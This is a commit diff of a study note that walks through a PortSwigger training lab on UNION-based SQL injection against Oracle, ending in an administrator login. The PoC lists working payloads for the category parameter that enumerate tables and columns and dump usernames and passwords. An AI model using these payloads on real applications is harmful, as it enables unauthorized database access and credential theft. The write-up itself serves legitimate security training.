You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
On Oracle, you can obtain the same information with slightly different queries.
4
+
5
+
You can list tables by querying `all_tables`:
6
+
7
+
`SELECT * FROM all_tables`
8
+
9
+
And you can list columns by querying `all_tab_columns`:
10
+
11
+
`SELECT * FROM all_tab_columns WHERE table_name = 'USERS'`
12
+
13
+
# Lab: SQL injection attack, listing the database contents on Oracle
14
+
15
+
This lab contains an [SQL injection](https://portswigger.net/web-security/sql-injection) vulnerability in the product category filter. The results from the query are returned in the application's response so you can use a UNION attack to retrieve data from other tables.
16
+
17
+
The application has a login function, and the database contains a table that holds usernames and passwords. You need to determine the name of this table and the columns it contains, then retrieve the contents of the table to obtain the username and password of all users.
18
+
19
+
To solve the lab, log in as the `administrator` user.
20
+
21
+
#### Hint
22
+
23
+
On Oracle databases, every `SELECT` statement must specify a table to select `FROM`. If your `UNION SELECT` attack does not query from a table, you will still need to include the `FROM` keyword followed by a valid table name.
24
+
25
+
There is a built-in table on Oracle called `dual` which you can use for this purpose. For example: `UNION SELECT 'abc' FROM dual`
26
+
27
+
For more information, see our [SQL injection cheat sheet](https://portswigger.net/web-security/sql-injection/cheat-sheet).
28
+
29
+
# PoC
30
+
31
+
1. Use Burp Suite to intercept and modify the request that sets the product category filter.
32
+
2. Determine the [number of columns that are being returned by the query](https://portswigger.net/web-security/sql-injection/union-attacks/lab-determine-number-of-columns) and [which columns contain text data](https://portswigger.net/web-security/sql-injection/union-attacks/lab-find-column-containing-text). Verify that the query is returning two columns, both of which contain text, using a payload like the following in the `category` parameter:
33
+
-`'+UNION+SELECT+'abc','def'+FROM+dual--`
34
+
-`' ORDER BY 2--`
35
+
-`' UNION SELECT 'test', 'test' FROM dual--`
36
+
3. Use the following payload to retrieve the list of tables in the database:
37
+
38
+
`' UNION SELECT NULL, table_name FROM all_tables--`
39
+
4. Find the name of the table containing user credentials.
40
+
5. Use the following payload (replacing the table name) to retrieve the details of the columns in the table:
41
+
42
+
`' UNION SELECT NULL, column_name FROM all_tab_columns WHERE table_name = 'USERS_LAHPFP'--`
43
+
6. Find the names of the columns containing usernames and passwords.
44
+
7. Use the following payload (replacing the table and column names) to retrieve the usernames and passwords for all users:
45
+
46
+
`' UNION SELECT USERNAME_BYWSYB, PASSWORD_KBCUUL FROM USERS_LAHPFP--`
47
+
8. Find the password for the `administrator` user, and use it to log in.
0 commit comments